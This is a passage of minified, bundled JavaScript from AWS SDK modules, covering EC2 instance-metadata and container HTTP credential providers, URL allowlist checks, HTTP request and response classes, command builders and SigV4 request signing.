RI5="AWS_EC2_METADATA_SERVICE_ENDPOINT",yI5="ec2_metadata_service_endpoint",II5={environmentVariableSelector:(A)=>A[RI5],configFileSelector:(A)=>A[yI5],default:void 0},MOA;(function(A){A.IPv4="IPv4",A.IPv6="IPv6"})(MOA||(MOA={}));var SI5="AWS_EC2_METADATA_SERVICE_ENDPOINT_MODE",hI5="ec2_metadata_service_endpoint_mode",bI5={environmentVariableSelector:(A)=>A[SI5],configFileSelector:(A)=>A[hI5],default:MOA.IPv4},Rd8=async()=>NI5.parseUrl(await xI5()||await uI5()),xI5=async()=>Yo1.loadConfig(II5)(),uI5=async()=>{let A=await Yo1.loadConfig(bI5)();switch(A){case MOA.IPv4:return iI5.Endpoint.IPv4;case MOA.IPv6:return iI5.Endpoint.IPv6;default:throw Error(`Unsupported endpoint mode: ${A}. Select from ${Object.values(MOA)}`)}},BI5=300,mI5=300,gI5="https://docs.aws.amazon.com/sdkref/latest/guide/feature-static-credentials.html",Nd8=(A,K)=>{let q=BI5+Math.floor(Math.random()*mI5),Y=new Date(Date.now()+q*1000);K.warn(`Attempting credential expiration extension due to a credential service availability issue. A refresh of these credentials will be attempted after ${new Date(Y)}. For more information, please visit: `+gI5);let z=A.originalExpiration??A.expiration;return{...A,...z?{originalExpiration:z}:{},expiration:Y}},FI5=(A,K={})=>{let q=K?.logger||console,Y;return async()=>{let z;try{if(z=await A(),z.expiration&&z.expiration.getTime()<Date.now())z=Nd8(z,q)}catch(w){if(Y)q.warn("Credential renew failed: ",w),z=Nd8(Y,q);else throw w}return Y=z,z}},yd8="/latest/meta-data/iam/security-credentials/",QI5="/latest/api/token",Ao1="AWS_EC2_METADATA_V1_DISABLED",Td8="ec2_metadata_v1_disabled",vd8="x-aws-ec2-metadata-token",UI5=(A={})=>FI5(pI5(A),{logger:A.logger}),pI5=(A={})=>{let K=!1,{logger:q,profile:Y}=A,{timeout:z,maxRetries:w}=zo1(A),H=async(J,O)=>{if(K||O.headers?.[vd8]==null){let _=!1,G=!1,Z=await Yo1.loadConfig({environmentVariableSelector:(W)=>{let D=W[Ao1];if(G=!!D&&D!=="false",D===void 0)throw new cb.CredentialsProviderError(`${Ao1} not set in env, checking config file next.`,{logger:A.logger});return G},configFileSelector:(W)=>{let D=W[Td8];return _=!!D&&D!=="false",_},default:!1},{profile:Y})();if(A.ec2MetadataV1Disabled||Z){let W=[];if(A.ec2MetadataV1Disabled)W.push("credential provider initialization (runtime option ec2MetadataV1Disabled)");if(_)W.push(`config file profile (${Td8})`);if(G)W.push(`process environment variable (${Ao1})`);throw new wo1(`AWS EC2 Metadata v1 fallback has been blocked by AWS SDK configuration in the following: [${W.join(", ")}].`)}}let $=(await Ko1(async()=>{let _;try{_=await cI5(O)}catch(G){if(G.statusCode===401)K=!1;throw G}return _},J)).trim();return Ko1(async()=>{let _;try{_=await lI5($,O,A)}catch(G){if(G.statusCode===401)K=!1;throw G}return _},J)};return async()=>{let J=await Rd8();if(K)return q?.debug("AWS SDK Instance Metadata","using v1 fallback (no token fetch)"),H(w,{...J,timeout:z});else{let O;try{O=(await dI5({...J,timeout:z})).toString()}catch(X){if(X?.statusCode===400)throw Object.assign(X,{message:"EC2 Metadata token request returned error"});else if(X.message==="TimeoutError"||[403,404,405].includes(X.statusCode))K=!0;return q?.debug("AWS SDK Instance Metadata","using v1 fallback (initial)"),H(w,{...J,timeout:z})}return H(w,{...J,headers:{[vd8]:O},timeout:z})}}},dI5=async(A)=>sCA({...A,path:QI5,method:"PUT",headers:{"x-aws-ec2-metadata-token-ttl-seconds":"21600"}}),cI5=async(A)=>(await sCA({...A,path:yd8})).toString(),lI5=async(A,K,q)=>{let Y=JSON.parse((await sCA({...K,path:yd8+A})).toString());if(!Ed8(Y))throw new cb.CredentialsProviderError("Invalid response received from instance metadata service.",{logger:q.logger});return kd8(Y)};iI5.DEFAULT_MAX_RETRIES=Ld8;iI5.DEFAULT_TIMEOUT=Cd8;iI5.ENV_CMDS_AUTH_TOKEN=qo1;iI5.ENV_CMDS_FULL_URI=H81;iI5.ENV_CMDS_RELATIVE_URI=J81;iI5.fromContainerMetadata=TI5;iI5.fromInstanceMetadata=UI5;iI5.getInstanceMetadataEndpoint=Rd8;iI5.httpRequest=sCA;iI5.providerConfigFromInit=zo1});var hd8=v((Id8)=>{Object.defineProperty(Id8,"__esModule",{value:!0});Id8.checkUrl=void 0;var YS5=dX(),zS5="169.254.170.2",wS5="169.254.170.23",HS5="[fd00:ec2::23]",JS5=(A,K)=>{if(A.protocol==="https:")return;if(A.hostname===zS5||A.hostname===wS5||A.hostname===HS5)return;if(A.hostname.includes("[")){if(A.hostname==="[::1]"||A.hostname==="[0000:0000:0000:0000:0000:0000:0000:0001]")return}else{if(A.hostname==="localhost")return;let q=A.hostname.split("."),Y=(z)=>{let w=parseInt(z,10);return 0<=w&&w<=255};if(q[0]==="127"&&Y(q[1])&&Y(q[2])&&Y(q[3])&&q.length===4)return}throw new YS5.CredentialsProviderError(`URL not accepted. It must either be HTTPS or match one of the following: - loopback CIDR 127.0.0.0/8 or [::1/128] - ECS container host 169.254.170.2 - EKS container host 169.254.170.23 or [fd00:ec2::23]`,{logger:K})};Id8.checkUrl=JS5});var Go1=v((ZS5)=>{ZS5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(ZS5.HttpAuthLocation||(ZS5.HttpAuthLocation={}));ZS5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(ZS5.HttpApiKeyAuthLocation||(ZS5.HttpApiKeyAuthLocation={}));ZS5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(ZS5.EndpointURLScheme||(ZS5.EndpointURLScheme={}));ZS5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(ZS5.AlgorithmId||(ZS5.AlgorithmId={}));var OS5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>ZS5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>ZS5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},XS5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},$S5=(A)=>{return OS5(A)},_S5=(A)=>{return XS5(A)};ZS5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(ZS5.FieldPosition||(ZS5.FieldPosition={}));var GS5="__smithy_context";ZS5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(ZS5.IniSectionType||(ZS5.IniSectionType={}));ZS5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(ZS5.RequestHandlerProtocol||(ZS5.RequestHandlerProtocol={}));ZS5.SMITHY_CONTEXT_KEY=GS5;ZS5.getDefaultClientConfiguration=$S5;ZS5.resolveDefaultRuntimeConfig=_S5});var Bd8=v((TS5)=>{var MS5=Go1(),PS5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},VS5=(A)=>{return{httpHandler:A.httpHandler()}};class bd8{name;kind;values;constructor({name:A,kind:K=MS5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class xd8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class O81{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new O81({...A,headers:{...A.headers}});if(K.query)K.query=fS5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return O81.clone(this)}}function fS5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class ud8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function NS5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}TS5.Field=bd8;TS5.Fields=xd8;TS5.HttpRequest=O81;TS5.HttpResponse=ud8;TS5.getHttpHandlerExtensionConfiguration=PS5;TS5.isValidHostname=NS5;TS5.resolveHttpHandlerRuntimeConfig=VS5});var od8=v((VOA)=>{var Fd8=Fb(),Mo1=VV(),Wo1=Go1(),IS5=DJ(),md8=PV();class Qd8{config;middlewareStack=Fd8.constructStack();initConfig;handlers;constructor(A){this.config=A}send(A,K,q){let Y=typeof K!=="function"?K:void 0,z=typeof K==="function"?K:q,w=Y===void 0&&this.config.cacheMiddleware===!0,H;if(w){if(!this.handlers)this.handlers=new WeakMap;let J=this.handlers;if(J.has(A.constructor))H=J.get(A.constructor);else H=A.resolveMiddleware(this.middlewareStack,this.config,Y),J.set(A.constructor,H)}else delete this.handlers,H=A.resolveMiddleware(this.middlewareStack,this.config,Y);if(z)H(A).then((J)=>z(null,J.output),(J)=>z(J)).catch(()=>{});else return H(A).then((J)=>J.output)}destroy(){this.config?.requestHandler?.destroy?.(),delete this.handlers}}var Zo1="***SensitiveInformation***";function Do1(A,K){if(K==null)return K;let q=IS5.NormalizedSchema.of(A);if(q.getMergedTraits().sensitive)return Zo1;if(q.isListSchema()){if(!!q.getValueSchema().getMergedTraits().sensitive)return Zo1}else if(q.isMapSchema()){if(!!q.getKeySchema().getMergedTraits().sensitive||!!q.getValueSchema().getMergedTraits().sensitive)return Zo1}else if(q.isStructSchema()&&typeof K==="object"){let Y=K,z={};for(let[w,H]of q.structIterator())if(Y[w]!=null)z[w]=Do1(H,Y[w]);return z}return K}class Po1{middlewareStack=Fd8.constructStack();schema;static classBuilder(){return new Ud8}resolveMiddlewareWithContext(A,K,q,{middlewareFn:Y,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,smithyContext:O,additionalContext:X,CommandCtor:$}){for(let D of Y.bind(this)($,A,K,q))this.middlewareStack.use(D);let _=A.concat(this.middlewareStack),{logger:G}=K,Z={logger:G,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,[Wo1.SMITHY_CONTEXT_KEY]:{commandInstance:this,...O},...X},{requestHandler:W}=K;return _.resolve((D)=>W.handle(D.request,q||{}),Z)}}class Ud8{_init=()=>{};_ep={};_middlewareFn=()=>[];_commandName="";_clientName="";_additionalContext={};_smithyContext={};_inputFilterSensitiveLog=void 0;_outputFilterSensitiveLog=void 0;_serializer=null;_deserializer=null;_operationSchema;init(A){this._init=A}ep(A){return this._ep=A,this}m(A){return this._middlewareFn=A,this}s(A,K,q={}){return this._smithyContext={service:A,operation:K,...q},this}c(A={}){return this._additionalContext=A,this}n(A,K){return this._clientName=A,this._commandName=K,this}f(A=(q)=>q,K=(q)=>q){return this._inputFilterSensitiveLog=A,this._outputFilterSensitiveLog=K,this}ser(A){return this._serializer=A,this}de(A){return this._deserializer=A,this}sc(A){return this._operationSchema=A,this._smithyContext.operationSchema=A,this}build(){let A=this,K;return K=class extends Po1{input;static getEndpointParameterInstructions(){return A._ep}constructor(...[q]){super();this.input=q??{},A._init(this),this.schema=A._operationSchema}resolveMiddleware(q,Y,z){let w=A._operationSchema,H=w?.[4]??w?.input,J=w?.[5]??w?.output;return this.resolveMiddlewareWithContext(q,Y,z,{CommandCtor:K,middlewareFn:A._middlewareFn,clientName:A._clientName,commandName:A._commandName,inputFilterSensitiveLog:A._inputFilterSensitiveLog??(w?Do1.bind(null,H):(O)=>O),outputFilterSensitiveLog:A._outputFilterSensitiveLog??(w?Do1.bind(null,J):(O)=>O),smithyContext:A._smithyContext,additionalContext:A._additionalContext})}serialize=A._serializer;deserialize=A._deserializer}}}var SS5="***SensitiveInformation***",hS5=(A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}};class POA extends Error{$fault;$response;$retryable;$metadata;constructor(A){super(A.message);Object.setPrototypeOf(this,Object.getPrototypeOf(this).constructor.prototype),this.name=A.name,this.$fault=A.$fault,this.$metadata=A.$metadata}static isInstance(A){if(!A)return!1;let K=A;return POA.prototype.isPrototypeOf(K)||Boolean(K.$fault)&&Boolean(K.$metadata)&&(K.$fault==="client"||K.$fault==="server")}static[Symbol.hasInstance](A){if(!A)return!1;let K=A;if(this===POA)return POA.isInstance(A);if(POA.isInstance(A)){if(K.name&&this.name)return this.prototype.isPrototypeOf(A)||K.name===this.name;return this.prototype.isPrototypeOf(A)}return!1}}var pd8=(A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},dd8=({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=xS5(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:K?.code||K?.Code||Y||w||"UnknownError",$fault:"client",$metadata:z});throw pd8(H,K)},bS5=(A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{dd8({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},xS5=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),uS5=(A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},gd8=!1,BS5=(A)=>{if(A&&!gd8&&parseInt(A.substring(1,A.indexOf(".")))<16)gd8=!0},mS5=(A)=>{let K=[];for(let q in Wo1.AlgorithmId){let Y=Wo1.AlgorithmId[q];if(A[Y]===void 0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},gS5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},FS5=(A)=>{return{setRetryStrategy(K){A.retryStrategy=K},retryStrategy(){return A.retryStrategy}}},QS5=(A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},cd8=(A)=>{return Object.assign(mS5(A),FS5(A))},US5=cd8,pS5=(A)=>{return Object.assign(gS5(A),QS5(A))},dS5=(A)=>Array.isArray(A)?A:[A],ld8=(A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=ld8(A[q]);return A},cS5=(A)=>{return A!=null};class id8{trace(){}debug(){}info(){}warn(){}error(){}}function nd8(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,nS5(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}rd8(Y,null,w,H)}return Y}var lS5=(A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},iS5=(A,K)=>{let q={};for(let Y in K)rd8(q,A,K,Y);return q},nS5=(A,K,q)=>{return nd8(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},rd8=(A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=rS5,O=oS5,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},rS5=(A)=>A!=null,oS5=(A)=>A,aS5=(A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},sS5=(A)=>A.toISOString().replace(".000Z","Z"),jo1=(A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(jo1);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=jo1(A[q])}return K}return A};Object.defineProperty(VOA,"collectBody",{enumerable:!0,get:function(){return Mo1.collectBody}});Object.defineProperty(VOA,"extendedEncodeURIComponent",{enumerable:!0,get:function(){return Mo1.extendedEncodeURIComponent}});Object.defineProperty(VOA,"resolvedPath",{enumerable:!0,get:function(){return Mo1.resolvedPath}});VOA.Client=Qd8;VOA.Command=Po1;VOA.NoOpLogger=id8;VOA.SENSITIVE_STRING=SS5;VOA.ServiceException=POA;VOA._json=jo1;VOA.convertMap=lS5;VOA.createAggregatedClient=hS5;VOA.decorateServiceException=pd8;VOA.emitWarningIfUnsupportedVersion=BS5;VOA.getArrayIfSingleItem=dS5;VOA.getDefaultClientConfiguration=US5;VOA.getDefaultExtensionConfiguration=cd8;VOA.getValueFromTextNode=ld8;VOA.isSerializableHeaderValue=cS5;VOA.loadConfigsForDefaultMode=uS5;VOA.map=nd8;VOA.resolveDefaultRuntimeConfig=pS5;VOA.serializeDateTime=sS5;VOA.serializeFloat=aS5;VOA.take=iS5;VOA.throwDefaultError=dd8;VOA.withBaseException=bS5;Object.keys(md8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(VOA,A))Object.defineProperty(VOA,A,{enumerable:!0,get:function(){return md8[A]}})})});var sd8=v((ad8)=>{Object.defineProperty(ad8,"__esModule",{value:!0});ad8.createGetRequest=Eh5;ad8.getCredentials=kh5;var Vo1=dX(),Nh5=Bd8(),Th5=od8(),vh5=sl1();function Eh5(A){return new Nh5.HttpRequest({protocol:A.protocol,hostname:A.hostname,port:Number(A.port),path:A.pathname,query:Array.from(A.searchParams.entries()).reduce((K,[q,Y])=>{return K[q]=Y,K},{}),fragment:A.hash})}async function kh5(A,K){let Y=await(0,vh5.sdkStreamMixin)(A.body).transformToString();if(A.statusCode===200){let z=JSON.parse(Y);if(typeof z.AccessKeyId!=="string"||typeof z.SecretAccessKey!=="string"||typeof z.Token!=="string"||typeof z.Expiration!=="string")throw new Vo1.CredentialsProviderError("HTTP credential provider response not of the required format, an object matching: { AccessKeyId: string, SecretAccessKey: string, Token: string, Expiration: string(rfc3339) }",{logger:K});return{accessKeyId:z.AccessKeyId,secretAccessKey:z.SecretAccessKey,sessionToken:z.Token,expiration:(0,Th5.parseRfc3339DateTime)(z.Expiration)}}if(A.statusCode>=400&&A.statusCode<500){let z={};try{z=JSON.parse(Y)}catch(w){}throw Object.assign(new Vo1.CredentialsProviderError(`Server responded with status: ${A.statusCode}`,{logger:K}),{Code:z.Code,Message:z.Message})}throw new Vo1.CredentialsProviderError(`Server responded with status: ${A.statusCode}`,{logger:K})}});var Ac8=v((td8)=>{Object.defineProperty(td8,"__esModule",{value:!0});td8.retryWrapper=void 0;var Rh5=(A,K,q)=>{return async()=>{for(let Y=0;Y<K;++Y)try{return await A()}catch(z){await new Promise((w)=>setTimeout(w,q))}return await A()}};td8.retryWrapper=Rh5});var wc8=v((Yc8)=>{Object.defineProperty(Yc8,"__esModule",{value:!0});Yc8.fromHttp=void 0;var yh5=Uz(),Ih5=fV(),Sh5=zT(),Kc8=dX(),hh5=yh5.__importDefault(CA("fs/promises")),bh5=hd8(),qc8=sd8(),xh5=Ac8(),uh5="AWS_CONTAINER_CREDENTIALS_RELATIVE_URI",Bh5="http://169.254.170.2",mh5="AWS_CONTAINER_CREDENTIALS_FULL_URI",gh5="AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE",Fh5="AWS_CONTAINER_AUTHORIZATION_TOKEN",Qh5=(A={})=>{A.logger?.debug("@aws-sdk/credential-provider-http - fromHttp");let K,q=A.awsContainerCredentialsRelativeUri??process.env[uh5],Y=A.awsContainerCredentialsFullUri??process.env[mh5],z=A.awsContainerAuthorizationToken??process.env[Fh5],w=A.awsContainerAuthorizationTokenFile??process.env[gh5],H=A.logger?.constructor?.name==="NoOpLogger"||!A.logger?.warn?console.warn:A.logger.warn.bind(A.logger);if(q&&Y)H("@aws-sdk/credential-provider-http: you have set both awsContainerCredentialsRelativeUri and awsContainerCredentialsFullUri."),H("awsContainerCredentialsFullUri will take precedence.");if(z&&w)H("@aws-sdk/credential-provider-http: you have set both awsContainerAuthorizationToken and awsContainerAuthorizationTokenFile."),H("awsContainerAuthorizationToken will take precedence.");if(Y)K=Y;else if(q)K=`${Bh5}${q}`;else throw new Kc8.CredentialsProviderError(`No HTTP credential provider host provided. Set AWS_CONTAINER_CREDENTIALS_FULL_URI or AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.`,{logger:A.logger});let J=new URL(K);(0,bh5.checkUrl)(J,A.logger);let O=Sh5.NodeHttpHandler.create({requestTimeout:A.timeout??1000,connectionTimeout:A.timeout??1000});return(0,xh5.retryWrapper)(async()=>{let X=(0,qc8.createGetRequest)(J);if(z)X.headers.Authorization=z;else if(w)X.headers.Authorization=(await hh5.default.readFile(w)).toString();try{let $=await O.handle(X);return(0,qc8.getCredentials)($.response).then((_)=>(0,Ih5.setCredentialFeature)(_,"CREDENTIALS_HTTP","z"))}catch($){throw new Kc8.CredentialsProviderError(String($),{logger:A.logger})}},A.maxRetries??3,A.timeout??1000)};Yc8.fromHttp=Qh5});var X81=v((fo1)=>{Object.defineProperty(fo1,"__esModule",{value:!0});fo1.fromHttp=void 0;var Uh5=wc8();Object.defineProperty(fo1,"fromHttp",{enumerable:!0,get:function(){return Uh5.fromHttp}})});var jc8=v((th5)=>{var No1=h61(),qn=Gz(),Hc8=dX(),dh5=fV(),Jc8=On1(),Oc8=(A)=>No1.HttpResponse.isInstance(A)?A.headers?.date??A.headers?.Date:void 0,To1=(A)=>new Date(Date.now()+A),ch5=(A,K)=>Math.abs(To1(K).getTime()-A)>=300000,Xc8=(A,K)=>{let q=Date.parse(A);if(ch5(q,K))return q-Date.now();return K},eCA=(A,K)=>{if(!K)throw Error(`Property \`${A}\` is not resolved for AWS SDK SigV4Auth`);return K},vo1=async(A)=>{let K=eCA("context",A.context),q=eCA("config",A.config),Y=K.endpointV2?.properties?.authSchemes?.[0],w=await eCA("signer",q.signer)(Y),H=A?.signingRegion,J=A?.signingRegionSet,O=A?.signingName;return{config:q,signer:w,signingRegion:H,signingRegionSet:J,signingName:O}};class $81{async sign(A,K,q){if(!No1.HttpRequest.isInstance(A))throw Error("The request is not an instance of `HttpRequest` and cannot be signed");let Y=await vo1(q),{config:z,signer:w}=Y,{signingRegion:H,signingName:J}=Y,O=q.context;if(O?.authSchemes?.length??!1){let[$,_]=O.authSchemes;if($?.name==="sigv4a"&&_?.name==="sigv4")H=_?.signingRegion??H,J=_?.signingName??J}return await w.sign(A,{signingDate:To1(z.systemClockOffset),signingRegion:H,signingService:J})}errorHandler(A){return(K)=>{let q=K.ServerTime??Oc8(K.$response);if(q){let Y=eCA("config",A.config),z=Y.systemClockOffset;if(Y.systemClockOffset=Xc8(q,Y.systemClockOffset),Y.systemClockOffset!==z&&K.$metadata)K.$metadata.clockSkewCorrected=!0}throw K}}successHandler(A,K){let q=Oc8(A);if(q){let Y=eCA("config",K.config);Y.systemClockOffset=Xc8(q,Y.systemClockOffset)}}}var lh5=$81;class Zc8 extends $81{async sign(A,K,q){if(!No1.HttpRequest.isInstance(A))throw Error("The request is not an instance of `HttpRequest` and cannot be signed");let{config:Y,signer:z,signingRegion:w,signingRegionSet:H,signingName:J}=await vo1(q),X=(await Y.sigv4aSigningRegionSet?.()??H??[w]).join(",");return await z.sign(A,{signingDate:To1(Y.systemClockOffset),signingRegion:X,signingService:J})}}var $c8=(A)=>typeof A==="string"&&A.length>0?A.split(",").map((K)=>K.trim()):[],Wc8=(A)=>`AWS_BEARER_TOKEN_${A.replace(/[\s-]/g,"_").toUpperCase()}`,_c8="AWS_AUTH_SCHEME_PREFERENCE",Gc8="auth_scheme_preference",ih5={environmentVariableSelector:(A,K)=>{if(K?.signingName){if(Wc8(K.signingName)in A)return["httpBearerAuth"]}if(!(_c8 in A))return;return $c8(A[_c8])},configFileSelector:(A)=>{if(!(Gc8 in A))return;return $c8(A[Gc8])},default:[]},nh5=(A)=>{return A.sigv4aSigningRegionSet=qn.normalizeProvider(A.sigv4aSigningRegionSet),A},rh5={environmentVariableSelector(A){if(A.AWS_SIGV4A_SIGNING_REGION_SET)return A.AWS_SIGV4A_SIGNING_REGION_SET.split(",").map((K)=>K.trim());throw new Hc8.ProviderError("AWS_SIGV4A_SIGNING_REGION_SET not set in env.",{tryNextLink:!0})},configFileSelector(A){if(A.sigv4a_signing_region_set)return(A.sigv4a_signing_region_set??"").split(",").map((K)=>K.trim());throw new Hc8.ProviderError("sigv4a_signing_region_set not set in profile.",{tryNextLink:!0})},default:void 0},Dc8=(A)=>{let K=A.credentials,q=!!A.credentials,Y=void 0;Object.defineProperty(A,"credentials",{set(X){if(X&&X!==K&&X!==Y)q=!0;K=X;let $=ah5(A,{credentials:K,credentialDefaultProvider:A.credentialDefaultProvider}),_=sh5(A,$);if(q&&!_.attributed)Y=async(G)=>_(G).then((Z)=>dh5.setCredentialFeature(Z,"CREDENTIALS_CODE","e")),Y.memoized=_.memoized,Y.configBound=_.configBound,Y.attributed=!0;else Y=_},get(){return Y},enumerable:!0,configurable:!0}),A.credentials=K;let{signingEscapePath:z=!0,systemClockOffset:w=A.systemClockOffset||0,sha256:H}=A,J;if(A.signer)J=qn.normalizeProvider(A.signer);else if(A.regionInfoProvider)J=()=>qn.normalizeProvider(A.region)().then(async(X)=>[await A.regionInfoProvider(X,{useFipsEndpoint:await A.useFipsEndpoint(),useDualstackEndpoint:await A.useDualstackEndpoint()})||{},X]).then(([X,$])=>{let{signingRegion:_,signingService:G}=X;A.signingRegion=A.signingRegion||_||$,A.signingName=A.signingName||G||A.serviceId;let Z={...A,credentials:A.credentials,region:A.signingRegion,service:A.signingName,sha256:H,uriEscapePath:z};return new(A.signerConstructor||Jc8.SignatureV4)(Z)});else J=async(X)=>{X=Object.assign({},{name:"sigv4",signingName:A.signingName||A.defaultSigningName,signingRegion:await qn.normalizeProvider(A.region)(),properties:{}},X);let{signingRegion:$,signingName:_}=X;A.signingRegion=A.signingRegion||$,A.signingName=A.signingName||_||A.serviceId;let G={...A,credentials:A.credentials,region:A.signingRegion,service:A.signingName,sha256:H,uriEscapePath:z};return new(A.signerConstructor||Jc8.SignatureV4)(G)};return Object.assign(A,{systemClockOffset:w,signingEscapePath:z,signer:J})},oh5=Dc8;function ah5(A,{credentials:K,credentialDefaultProvider:q}){let Y;if(K)if(!K?.memoized)Y=qn.memoizeIdentityProvider(K,qn.isIdentityExpired,qn.doesIdentityRequireRefresh);else Y=K;else if(q)Y=qn.normalizeProvider(q(Object.assign({},A,{parentClientConfig:A})));else Y=async()=>{throw Error("@aws-sdk/core::resolveAwsSdkSigV4Config - `credentials` not provided and no credentialDefaultProvider was configured.")};return Y.memoized=!0,Y}function sh5(A,K){if(K.configBound)return K;let q=async(Y)=>K({...Y,callerClientConfig:A});return q.memoized=K.memoized,q.configBound=!0,q}th5.AWSSDKSigV4Signer=lh5;th5.AwsSdkSigV4ASigner=Zc8;th5.AwsSdkSigV4Signer=$81;th5.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS=ih5;th5.NODE_SIGV4A_CONFIG_OPTIONS=rh5;th5.getBearerTokenEnvKey=Wc8;th5.resolveAWSSDKSigV4Config=oh5;th5.resolveAwsSdkSigV4AConfig=nh5;th5.resolveAwsSdkSigV4Config=Dc8;th5.validateSigningProperties=vo1});var Io1=v((Wb5)=>{Wb5.HttpAuthLocation=void 